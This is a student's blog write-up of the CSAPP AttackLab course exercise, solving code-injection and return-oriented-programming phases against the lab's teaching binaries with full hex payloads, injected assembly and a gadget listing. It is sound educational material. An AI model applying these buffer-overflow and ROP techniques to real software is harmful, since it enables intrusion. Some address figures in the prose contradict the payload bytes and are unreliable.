深入理解计算机系统第三版 CSAPP:3e AttackLab实验记录

2020-02-24 13:09:13 阅读：500 来源： 互联网

标签：CSAPP ef 00 c3 retq 89 AttackLab rdi 3e

阅读实验手册，开始做Attacklab.

CTARGET Phase 1

第一个Attack Phase要求调用存在的函数touch1.这个简单，自需要将touch1的首地址覆盖栈中的返回地址就行。
首先使用gdb调试ctarget，反汇编出getbuf的汇编代码：
disas getbuf
可以发现这里分配了0x28（十进制是40）Bytes的栈帧。由于栈是低地址方向增长的，所以只要在%rsp+40的位置存入touch1的起始地址就好。通过反汇编touch1的代码，不难发现touch1的起始地址是0x4017c0：
disas touch1
所以构造字符串，前40个字节随意（但是不能取0A，因为0A是换行符，ctarget程序根据换行符判定输入结束），然后后面跟上0x4017c0(注意此时要转换为小端法表示)：

保存为phase1.txt。
输入命令判题：
phase1
Phase1通过。

Phase 2

Phase2要求注入一小段代码，带参数调用touch2(unsigned)函数。
首先在实验手册里看到touch2需要判断一下你的cookie：
CSAPP ATTACKLAB PDF1
这个cookie是程序生成的一个随机数，在启动ctarget程序时有显示。
反汇编touch2函数，发现touch2函数的首地址是0x4017ec:
在这里插入图片描述
准备将代码注入到getbuf的栈帧里，实验手册已经说了ctarget的栈地址是固定的，这就方便了注入代码。在gdb调试下发现栈帧地址是0x5561dc78：
gdb1

先罗列一下已有的信息：
Stack Address:0x5561dc78
function touch2 address:0x00000000004017ec
Cookie:0x59b997fa
然后开始写注入的代码。写的这段代码的目的是为了带参调用touch2.

fun2:
	movl $0x59b997fa,%edi
	pushq $0x4017ec
	ret

汇编出目标文件，再使用objdump -d反汇编到phase2.txt:


phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <fun2>:
   0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
   5:	68 ec 17 40 00       	pushq  $0x4017ec
   a:	c3                   	retq

保留二进制部分，补全40个字节，然后在后面附加上返回到栈帧的地址，
得到文件phase2.txt:

bf fa 97 b9 59       	/* movl   $0x59b997fa,%edi */
68 ec 17 40 00 /* movq   $0x4017ec,(%rsp) */
c3                   	/* retq */
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
78 dc 61 55 00 00 00 00

输入命令判题：

phase2 result

PS：其实将注入程序写成这样也是可以的：

fun2:
	movl $0x59b997fa,%edi
	subq $8,%rsp
	movq $0x4017ec,(%rsp)
	ret

CTARGET Phase 3

首先阅读handout文档。文档上强调了getbuf所分配的栈帧可能会被hexmatch函数和strncmp函数覆盖。所以我们选择getbuf的父栈帧，即test函数的栈帧来存放我们的字符串。反正我们又不会返回到test函数，程序在touch3函数体里就终止执行了。

我们首先由上题确定了栈帧地址为0x5561dc78，反汇编touch3函数发现touch3函数起始地址为0x4018fa,由于我们决定将字符串存放在父栈帧里，因此字符串距离我们的栈帧的起始地址有40字节的距离（由上题知道函数getbuf分配了40字节的栈帧）于是字符串的起始地址是0x5561dc78+40Bytes=0x5561dc97。

于是我们来编写注入代码：

movq    $0x5561dc97,%rdi
pushq  $0x4018fa
retq

将其汇编后，在代码和返回地址之间填充进27Bytes的占位符，在最后填上字符串的ASCII串：

48 c7 c7 a8 dc 61 55    /* movq    $0x5561dc97,%rdi */
68 fa 18 40 00          /* pushq  $0x4018fa */
c3                      /* retq */
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef /* useless bytes.total 27 bytes */
78 dc 61 55 00 00 00 00 /* Start of code area */
35 39 62 39 39 37 66 61 00 /* little endian representation of string '59b997fa' , this string will fill in function test`s stack frame */

运行程序测试，通过。
PASS-PHASE3

RTARGET Phase 2

RTARGET Phase 2 要求从已有的代码里面找到攻击所需的代码组成gadget来重复前面的CTARGET Phase 2实验。
首先在gdb ./rtarget里键入命令disas /r start_farm, mid_farm查看位于start_farm和mid_farm之间的所有指令及其编码：
ASAS
由于上面的二进制并没有编码我所需的COOKIE值0x59b997fa，所以需要将这个值放入堆栈，再使用popq指令弹出并复制到%rdi寄存器。

观察反编译结果，需要找到一个popq指令和movq指令，因此需要分为两个Gadget，这两个指令后面都要直接跟着0xc3(retq)返回指令或者中间有0x90(nop)指令。

先来找Gadget1。popq指令的编码是0x58-0x5f，观察上图得知起始地址为0x4019cc的编码符合要求：

58 90 c3这三个16进制分别编码popq %rax、nop、retq三条指令。

再来找Gadget2。
movq指令的编码都是0x48 0x89开头的，因此很快锁定到起始地址0x4017ec。这个地址下有4个16进制：48 89 c7 c3，分别编码
movq %rax,%rdi 、retq两条指令，刚好符合要求。

大致画一下堆栈分布图：

地址	空间作用	实际内容
%rsp+32	touch2函数起始地址	0x4017ec
%rsp+24	Gadget2 起始地址	0x4019a2
%rsp+16	COOKIE值	0x59b997fa
%rsp+8	Gadget1 起始地址	0x4019cc

因此构造攻击文本如下：

ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef
cc 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

运行程序，顺利通过：
SUCC2

RTARGET Phase 3

本题跟RTARGET Phase2差不多，同样是要求用已有的代码组合起来，实现CTARGET Phase 3的功能。
首先反汇编出start_farm到end_farm的所有指令,然后根据实验手册上的图（如下图）标注出所有可能的指令：
Codings

<start_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x0000000000401999 <start_farm+5>: c3 retq
0x000000000040199a <getval_142+0>: b8 fb 78 90 90 mov $0x909078fb,%eax
0x000000000040199f <getval_142+5>: c3 retq
0x00000000004019a0 <addval_273+0>: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
0x00000000004019a6 <addval_273+6>: c3 retq
0x00000000004019a7 <addval_219+0>: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax //58 90 c3 表示popq %rax;nop;ret
0x00000000004019ad <addval_219+6>: c3 retq
0x00000000004019ae <setval_237+0>: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
0x00000000004019b4 <setval_237+6>: c3 retq
0x00000000004019b5 <setval_424+0>: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
0x00000000004019bb <setval_424+6>: c3 retq
0x00000000004019bc <setval_470+0>: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
0x00000000004019c2 <setval_470+6>: c3 retq
0x00000000004019c3 <setval_426+0>: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) //48 89 c7表示movq rdx,%rdi;89 c7表示movl edx,%edi;90表示nop
0x00000000004019c9 <setval_426+6>: c3 retq
0x00000000004019ca <getval_280+0>: b8 29 58 90 c3 mov $0xc3905829,%eax
0x00000000004019cf <getval_280+5>: c3 retq
0x00000000004019d0 <mid_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x00000000004019d5 <mid_farm+5>: c3 retq
0x00000000004019d6 <add_xy+0>: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
0x00000000004019da <add_xy+4>: c3 retq
0x00000000004019db <getval_481+0>: b8 5c 89 c2 90 mov $0x90c2895c,%eax //89 c2 90表示movl %eax,%edx
0x00000000004019e0 <getval_481+5>: c3 retq
0x00000000004019e1 <setval_296+0>: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
0x00000000004019e7 <setval_296+6>: c3 retq
0x00000000004019e8 <addval_113+0>: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
0x00000000004019ee <addval_113+6>: c3 retq
0x00000000004019ef <addval_490+0>: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
0x00000000004019f5 <addval_490+6>: c3 retq
0x00000000004019f6 <getval_226+0>: b8 89 d1 48 c0 mov $0xc048d189,%eax
0x00000000004019fb <getval_226+5>: c3 retq
0x00000000004019fc <setval_384+0>: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
0x0000000000401a02 <setval_384+6>: c3 retq
0x0000000000401a03 <addval_190+0>: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax //48 89 e0表示movq %rsp,%rax
0x0000000000401a09 <addval_190+6>: c3 retq
0x0000000000401a0a <setval_276+0>: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
0x0000000000401a10 <setval_276+6>: c3 retq
0x0000000000401a11 <addval_436+0>: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax //89 ce 90 90表示movl %ecx,%esi;nop;nop
0x0000000000401a17 <addval_436+6>: c3 retq
0x0000000000401a18 <getval_345+0>: b8 48 89 e0 c1 mov $0xc1e08948,%eax
0x0000000000401a1d <getval_345+5>: c3 retq
0x0000000000401a1e <addval_479+0>: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
0x0000000000401a24 <addval_479+6>: c3 retq
0x0000000000401a25 <addval_187+0>: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax //89 ce 38 c0表示movl %ecx,%esi;cmpb %al,%al;注意此时cmpb对于程序没有任何影响，在此相当于nop空操作。
0x0000000000401a2b <addval_187+6>: c3 retq
0x0000000000401a2c <setval_248+0>: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
0x0000000000401a32 <setval_248+6>: c3 retq
0x0000000000401a33 <getval_159+0>: b8 89 d1 38 c9 mov $0xc938d189,%eax //89 d1 38 c9表示movl %edx,%ecx;cmpb %cl,%cl(此时cmpb相当于nop)
0x0000000000401a38 <getval_159+5>: c3 retq
0x0000000000401a39 <addval_110+0>: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
0x0000000000401a3f <addval_110+6>: c3 retq
0x0000000000401a40 <addval_487+0>: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax //89 c2 84 c0表示movl %eax,%edx;testb %al,%al ;注意此时testb对于程序没有任何影响，在此相当于nop空操作。
0x0000000000401a46 <addval_487+6>: c3 retq
0x0000000000401a47 <addval_201+0>: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
0x0000000000401a4d <addval_201+6>: c3 retq
0x0000000000401a4e <getval_272+0>: b8 99 d1 08 d2 mov $0xd208d199,%eax
0x0000000000401a53 <getval_272+5>: c3 retq
0x0000000000401a54 <getval_155+0>: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
0x0000000000401a59 <getval_155+5>: c3 retq
0x0000000000401a5a <setval_299+0>: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
0x0000000000401a60 <setval_299+6>: c3 retq
0x0000000000401a61 <addval_404+0>: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
0x0000000000401a67 <addval_404+6>: c3 retq
0x0000000000401a68 <getval_311+0>: b8 89 d1 08 db mov $0xdb08d189,%eax
0x0000000000401a6d <getval_311+5>: c3 retq
0x0000000000401a6e <setval_167+0>: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
0x0000000000401a74 <setval_167+6>: c3 retq
0x0000000000401a75 <setval_328+0>: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
0x0000000000401a7b <setval_328+6>: c3 retq
0x0000000000401a7c <setval_450+0>: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
0x0000000000401a82 <setval_450+6>: c3 retq
0x0000000000401a83 <addval_358+0>: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax
0x0000000000401a89 <addval_358+6>: c3 retq
0x0000000000401a8a <addval_124+0>: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
0x0000000000401a90 <addval_124+6>: c3 retq
0x0000000000401a91 <getval_169+0>: b8 88 ce 20 c0 mov $0xc020ce88,%eax
0x0000000000401a96 <getval_169+5>: c3 retq
0x0000000000401a97 <setval_181+0>: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
0x0000000000401a9d <setval_181+6>: c3 retq
0x0000000000401a9e <addval_184+0>: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
0x0000000000401aa4 <addval_184+6>: c3 retq
0x0000000000401aa5 <getval_472+0>: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
0x0000000000401aaa <getval_472+5>: c3 retq
0x0000000000401aab <setval_350+0>: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
0x0000000000401ab1 <setval_350+6>: c3 retq

然后就可以大致定下攻击方案：将字符串放在栈里，为了能够找到字符串的位置，需要将栈顶的位置取出来，加上栈内字符串位置的偏移，形成字符串地址，方案大致如下（A–>B 表示将A赋值给B）
%rsp–>%rax–>%rdi (获取栈顶基址)
popq %rax;%eax–>%edx–>%ecx–>%esi (获取字符串地址偏移)
%rdi+%rsi–>%rax–>%rdi (基址+偏移得到字符串地址并作为参数传递)

栈的分布如下：（地址空间向上增长）

类型	内容
实际字符串	字符串内容
函数地址	touch3函数起始地址
Gadget	%rax–>%rdi
Gadget	%rdi+%rsi–>%rax
Gadget	%ecx–>%esi
Gadget	%edx–>%ecx
Gadget	%eax–>%edx
偏移值	字符串偏移值
Gadget	popq %rax
Gadget	%rax–>%rdt
Gadget	%rsp–>rax

最后需要计算字符串偏移值。注意到执行第一个Gadget%rsp-->rax时，rsp实际上指向第二个Gadget起始地址，所以字符串的偏移值应该是9x8Byte=72Byte,即十六进制值0x48。

构造攻击字符串如下：（前40个ef是填充buf用,后面是栈内对应的内容（Gadget为对应的地址）的倒序排列）

ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

只用了8个Gadget，完美。

运行程序，通过测试：
PASSR3

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标签：CSAPP,ef,00,c3,retq,89,AttackLab,rdi,3e
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